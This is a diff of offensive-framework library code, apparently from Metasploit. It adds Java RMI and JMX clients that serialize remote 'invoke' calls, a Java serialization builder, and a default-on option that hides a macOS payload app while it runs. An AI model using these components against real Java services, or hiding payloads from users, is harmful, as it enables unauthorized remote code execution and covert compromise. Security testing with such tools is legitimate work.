stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
stream.contents << Rex::Java::Serialization::Model::NullReference.new
stream
end
# Builds a Rex::Java::Serialization::Model::Stream to simulate a call
# to the Java invoke method.
#
# @param opts [Hash{Symbol => String}]
# @option opts [String] :obj_id the jmx endpoint ObjId
# @option opts [String] :object the object whose method we want to call
# @option opts [String] :method the method name to invoke
# @option opts [String] :args the arguments of the method to invoke
# @return [Rex::Java::Serialization::Model::Stream]
def invoke_stream(opts = {})
obj_id = opts[:obj_id] || "\x00" * 22
object_name = opts[:object] || ''
method_name = opts[:method] || ''
arguments = opts[:args] || {}
builder = Rex::Java::Serialization::Builder.new
block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\x13\xe7\xd6\x94\x17\xe5\xda\x20")
new_object = builder.new_object(
name: 'javax.management.ObjectName',
serial: 0xf03a71beb6d15cf, # serialVersionUID
flags: 3
)
data_binary = builder.new_array(
name: '[B',
serial: 0xacf317f8060854e0, # serialVersionUID
values_type: 'byte',
values: invoke_arguments_stream(arguments).encode.unpack('C*')
)
marshall_object = builder.new_object(
name: 'java.rmi.MarshalledObject',
serial: 0x7cbd1e97ed63fc3e, # serialVersionUID
fields: [
['int', 'hash'],
['array', 'locBytes', '[B'],
['array', 'objBytes', '[B']
],
data: [
["int", 1919492550],
Rex::Java::Serialization::Model::NullReference.new,
data_binary
]
)
new_array = builder.new_array(
name: '[Ljava.lang.String;',
serial: 0xadd256e7e91d7b47, # serialVersionUID
values_type: 'java.lang.String;',
values: arguments.keys.collect { |k| Rex::Java::Serialization::Model::Utf.new(nil, k) }
)
stream = Rex::Java::Serialization::Model::Stream.new
stream.contents << block_data
stream.contents << new_object
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, object_name)
stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, method_name)
stream.contents << marshall_object
stream.contents << new_array
stream.contents << Rex::Java::Serialization::Model::NullReference.new
stream
end
# Builds a Rex::Java::Serialization::Model::Stream with the arguments to
# simulate a call to the Java invoke method method.
#
# @param args [Hash] the arguments of the method to invoke
# @return [Rex::Java::Serialization::Model::Stream]
def invoke_arguments_stream(args = {})
builder = Rex::Java::Serialization::Builder.new
new_array = builder.new_array(
name: '[Ljava.lang.Object;',
serial: 0x90ce589f1073296c, # serialVersionUID
annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
values_type: 'java.lang.Object;',
values: args.values.collect { |arg| Rex::Java::Serialization::Model::Utf.new(nil, arg) }
)
stream = Rex::Java::Serialization::Model::Stream.new
stream.contents << new_array
stream
end
end
end
end
end
end

89
lib/msf/java/jmx/util.rb Normal file
View File

@ -0,0 +1,89 @@
# -*- coding: binary -*-
module Msf
module Java
module Jmx
# This module provides methods which help to handle data
# used by Java JMX
module Util
# Extracts a Rex::Java::Serialization::Model::NewObject from
# a Rex::Java::Serialization::Model::Stream
#
# @param stream [Rex::Java::Serialization::Model::Stream] the stream to extract the object from
# @param id [Fixnum] the content position storing the object
# @return [Rex::Java::Serialization::Model::NewObject, nil] the extracted object if success, nil otherwise
def extract_object(stream, id)
new_object = nil
if stream.contents[id]
new_object = stream.contents[id]
else
return nil
end
unless new_object.class == Rex::Java::Serialization::Model::NewObject
return nil
end
new_object.class_desc.description.class_name.contents
end
# Extracts an string from an IO
#
# @param io [IO] the io to extract the string from
# @return [String, nil] the extracted string if success, nil otherwise
def extract_string(io)
raw_length = io.read(2)
unless raw_length && raw_length.length == 2
return nil
end
length = raw_length.unpack('n')[0]
string = io.read(length)
unless string && string.length == length
return nil
end
string
end
# Extracts an int from an IO
#
# @param io [IO] the io to extract the int from
# @return [Fixnum, nil] the extracted int if success, nil otherwise
def extract_int(io)
int_raw = io.read(4)
unless int_raw && int_raw.length == 4
return nil
end
int = int_raw.unpack('N')[0]
int
end
# Extracts an UnicastRef (endpoint) information from an IO
#
# @param io [IO] the io to extract the int from
# @return [Hash, nil] the extracted int if success, nil otherwise
def extract_unicast_ref(io)
ref = extract_string(io)
unless ref && ref == 'UnicastRef'
return nil
end
address = extract_string(io)
return nil unless address
port = extract_int(io)
return nil unless port
id = io.read
{ address: address, port: port, id: id }
end
end
end
end
end

138
lib/msf/java/rmi/client.rb Normal file
View File

@ -0,0 +1,138 @@
# -*- coding: binary -*-
require 'rex/proto/rmi'
require 'rex/java/serialization'
require 'stringio'
module Msf
module Java
module Rmi
module Client
require 'msf/java/rmi/client/streams'
include Msf::Java::Rmi::Client::Streams
include Exploit::Remote::Tcp
# Returns the target host
#
# @return [String]
def rhost
datastore['RHOST']
end
# Returns the target port
#
# @return [Fixnum]
def rport
datastore['RPORT']
end
# Returns the RMI server peer
#
# @return [String]
def peer
"#{rhost}:#{rport}"
end
# Sends a RMI header stream
#
# @param opts [Hash]
# @option opts [Rex::Socket::Tcp] :sock
# @return [Fixnum] the number of bytes sent
# @see Msf::Rmi::Client::Streams#build_header
def send_header(opts = {})
nsock = opts[:sock] || sock
stream = build_header(opts)
nsock.put(stream.encode + "\x00\x00\x00\x00\x00\x00")
end
# Sends a RMI CALL stream
#
# @param opts [Hash]
# @option opts [Rex::Socket::Tcp] :sock
# @return [Fixnum] the number of bytes sent
# @see Msf::Rmi::Client::Streams#build_call
def send_call(opts = {})
nsock = opts[:sock] || sock
stream = build_call(opts)
nsock.put(stream.encode)
end
# Sends a RMI DGCACK stream
#
# @param opts [Hash]
# @option opts [Rex::Socket::Tcp] :sock
# @return [Fixnum] the number of bytes sent
# @see Msf::Rmi::Client::Streams#build_dgc_ack
def send_dgc_ack(opts = {})
nsock = opts[:sock] || sock
stream = build_dgc_ack(opts)
nsock.put(stream.encode)
end
# Reads the Protocol Ack
#
# @param opts [Hash]
# @option opts [Rex::Socket::Tcp] :sock
# @return [Rex::Proto::Rmi::Model::ProtocolAck]
# @see Rex::Proto::Rmi::Model::ProtocolAck.decode
def recv_protocol_ack(opts = {})
nsock = opts[:sock] || sock
data = safe_get_once(nsock)
begin
ack = Rex::Proto::Rmi::Model::ProtocolAck.decode(StringIO.new(data))
rescue ::RuntimeError
return nil
end
ack
end
# Reads a ReturnData message and returns the java serialized stream
# with the return data value.
#
# @param opts [Hash]
# @option opts [Rex::Socket::Tcp] :sock
# @return [Rex::Java::Serialization::Stream]
# @see Rex::Proto::Rmi::Model::ReturnData.decode
def recv_return(opts = {})
nsock = opts[:sock] || sock
data = safe_get_once(nsock)
begin
return_data = Rex::Proto::Rmi::Model::ReturnData.decode(StringIO.new(data))
rescue ::RuntimeError
return nil
end
return_data.return_value
end
# Helper method to read fragmented data from a ```Rex::Socket::Tcp```
#
# @param opts [Hash]
# @option opts [Rex::Socket::Tcp] :sock
# @return [String]
def safe_get_once(nsock = sock)
data = ''
begin
res = nsock.get_once
rescue ::EOFError
res = nil
end
until res.nil? || res.length < 1448
data << res
begin
res = nsock.get_once
rescue ::EOFError
res = nil
end
end
data << res if res
data
end
end
end
end
end

View File

@ -0,0 +1,70 @@
# -*- coding: binary -*-
require 'rex/java/serialization'
module Msf
module Java
module Rmi
module Client
module Streams
# Builds a RMI header stream
#
# @param opts [Hash{Symbol => <String, Fixnum>}]
# @option opts [String] :signature
# @option opts [Fixnum] :version
# @option opts [Fixnum] :protocol
# @return [Rex::Proto::Rmi::Model::OutputHeader]
def build_header(opts = {})
signature = opts[:signature] || Rex::Proto::Rmi::Model::SIGNATURE
version = opts[:version] || 2
protocol = opts[:protocol] || Rex::Proto::Rmi::Model::STREAM_PROTOCOL
header = Rex::Proto::Rmi::Model::OutputHeader.new(
signature: signature,
version: version,
protocol: protocol)
header
end
# Builds a RMI call stream
#
# @param opts [Hash{Symbol => <Fixnum, Rex::Java::Serialization::Model::Stream>}]
# @option opts [Fixnum] :message_id
# @option opts [Rex::Java::Serialization::Model::Stream] :call_data
# @return [Rex::Proto::Rmi::Model::Call]
def build_call(opts = {})
message_id = opts[:message_id] || Rex::Proto::Rmi::Model::CALL_MESSAGE
call_data = opts[:call_data] || Rex::Java::Serialization::Model::Stream.new
call = Rex::Proto::Rmi::Model::Call.new(
message_id: message_id,
call_data: call_data
)
call
end
# Builds a RMI dgc ack stream
#
# @param opts [Hash{Symbol => <Fixnum, String>}]
# @option opts [Fixnum] :stream_id
# @option opts [String] :unique_identifier
# @return [Rex::Proto::Rmi::Model::DgcAck]
def build_dgc_ack(opts = {})
stream_id = opts[:stream_id] || Rex::Proto::Rmi::Model::DGC_ACK_MESSAGE
unique_identifier = opts[:unique_identifier] || "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
dgc_ack = Rex::Proto::Rmi::Model::DgcAck.new(
stream_id: stream_id,
unique_identifier: unique_identifier
)
dgc_ack
end
end
end
end
end
end

View File

@ -734,16 +734,27 @@ require 'msf/core/exe/segment_injector'
# @param [Hash] opts the options hash
# @option opts [String] :exe_name (random) the name of the macho exe file (never seen by the user)
# @option opts [String] :app_name (random) the name of the OSX app
# @option opts [String] :hidden (true) hide the app when it is running
# @option opts [String] :plist_extra ('') some extra data to shove inside the Info.plist file
# @return [String] zip archive containing an OSX .app directory
def self.to_osx_app(exe, opts = {})
exe_name = opts[:exe_name] || Rex::Text.rand_text_alpha(8)
app_name = opts[:app_name] || Rex::Text.rand_text_alpha(8)
plist_extra = opts[:plist_extra] || ''
exe_name = opts.fetch(:exe_name) { Rex::Text.rand_text_alpha(8) }
app_name = opts.fetch(:app_name) { Rex::Text.rand_text_alpha(8) }
hidden = opts.fetch(:hidden, true)
plist_extra = opts.fetch(:plist_extra, '')
app_name.chomp!(".app")
app_name += ".app"
visible_plist = if hidden
%Q|
<key>LSBackgroundOnly</key>
<string>1</string>
|
else
''
end
info_plist = %Q|
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
@ -754,7 +765,7 @@ require 'msf/core/exe/segment_injector'
<key>CFBundleIdentifier</key>
<string>com.#{exe_name}.app</string>
<key>CFBundleName</key>
<string>#{exe_name}</string>
<string>#{exe_name}</string>#{visible_plist}
<key>CFBundlePackageType</key>
<string>APPL</string>
#{plist_extra}

File diff suppressed because it is too large Load Diff

View File

@ -51,4 +51,5 @@ module Rex
end
end
require 'rex/java/serialization/model'
require 'rex/java/serialization/model'
require 'rex/java/serialization/builder'

View File

@ -0,0 +1,94 @@
# -*- coding: binary -*-
module Rex
module Java
module Serialization
# This class provides a builder to help in the construction of
# Java serialized contents.
class Builder
# Creates a Rex::Java::Serialization::Model::NewArray
#
# @param opts [Hash{Symbol => <Rex::Java::Serialization::Model::NewClassDesc, String, Array>}]
# @option opts [Rex::Java::Serialization::Model::NewClassDesc] :description
# @option opts [String] :values_type
# @option opts [Array] :values
# @return [Rex::Java::Serialization::Model::NewArray]
# @see #new_class
def new_array(opts = {})
class_desc = opts[:description] || new_class(opts)
type = opts[:values_type] || ''
values = opts[:values] || []
array = Rex::Java::Serialization::Model::NewArray.new
array.array_description = Rex::Java::Serialization::Model::ClassDesc.new
array.array_description.description = class_desc
array.type = type
array.values = values
array
end
# Creates a Rex::Java::Serialization::Model::NewObject
#
# @param opts [Hash{Symbol => <Rex::Java::Serialization::Model::NewClassDesc, Array>}]
# @option opts [Rex::Java::Serialization::Model::NewClassDesc] :description
# @option opts [Array] :data
# @return [Rex::Java::Serialization::Model::NewObject]
# @see #new_class
def new_object(opts = {})
class_desc = opts[:description] || new_class(opts)
data = opts[:data] || []
object = Rex::Java::Serialization::Model::NewObject.new
object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new
object.class_desc.description = class_desc
object.class_data = data
object
end
# Creates a Rex::Java::Serialization::Model::NewClassDesc
#
# @param opts [Hash{Symbol => <Rex::Java::Serialization::Model::NewClassDesc, Array>}]
# @option opts [String] :name
# @option opts [Fixnum] :serial
# @option opts [Fixnum] :flags
# @option opts [Array] :fields
# @option opts [Array] :annotations
# @option opts [Rex::Java::Serialization::Model::Element] :super_class
# @return [Rex::Java::Serialization::Model::NewClassDesc]
def new_class(opts = {})
class_name = opts[:name] || ''
serial_version = opts[:serial] || 0
flags = opts[:flags] || 2
fields = opts[:fields] || []
annotations = opts[:annotations] || [Rex::Java::Serialization::Model::NullReference.new,
Rex::Java::Serialization::Model::EndBlockData.new]
super_class = opts[:super_class] || Rex::Java::Serialization::Model::NullReference.new
class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, class_name)
class_desc.serial_version = serial_version
class_desc.flags = flags
class_desc.fields = []
fields.each do |f|
field = Rex::Java::Serialization::Model::Field.new
field.type = f[0]
field.name = Rex::Java::Serialization::Model::Utf.new(nil, f[1])
field.field_type = Rex::Java::Serialization::Model::Utf.new(nil, f[2]) if f[2]
class_desc.fields << field
end
class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
class_desc.class_annotation.contents = annotations
class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
class_desc.super_class.description = super_class
class_desc
end
end
end
end
end

View File

@ -109,6 +109,11 @@ module Rex
desc = array_description.description
if desc.class == Reference
ref = desc.handle - BASE_WIRE_HANDLE
desc = stream.references[ref]
end
unless desc.class_name.contents[0] == '[' # Array
raise ::RuntimeError, 'Unsupported NewArray description'
end

View File

@ -66,9 +66,9 @@ module Rex
# @return [String] if serialization succeeds
# @raise [RuntimeError] if serialization doesn't succeed
def encode
unless class_name.kind_of?(Rex::Java::Serialization::Model::Utf) &&
class_annotation.kind_of?(Rex::Java::Serialization::Model::Annotation) &&
super_class.kind_of?(Rex::Java::Serialization::Model::ClassDesc)
unless class_name.class == Rex::Java::Serialization::Model::Utf ||
class_annotation.class == Rex::Java::Serialization::Model::Annotation ||
super_class.class == Rex::Java::Serialization::Model::ClassDesc
raise ::RuntimeError, 'Filed to serialize NewClassDesc'
end
encoded = ''

View File

@ -95,8 +95,13 @@ module Rex
def decode_class_data(io, my_class_desc)
values = []
unless my_class_desc.super_class.description.kind_of?(NullReference)
values += decode_class_data(io, my_class_desc.super_class.description)
unless my_class_desc.super_class.description.class == NullReference
if my_class_desc.super_class.description.class == Reference
ref = my_class_desc.super_class.description.handle - BASE_WIRE_HANDLE
values += decode_class_data(io, stream.references[ref])
else
values += decode_class_data(io, my_class_desc.super_class.description)
end
end
values += decode_class_fields(io, my_class_desc)

Some files were not shown because too many files have changed in this diff Show More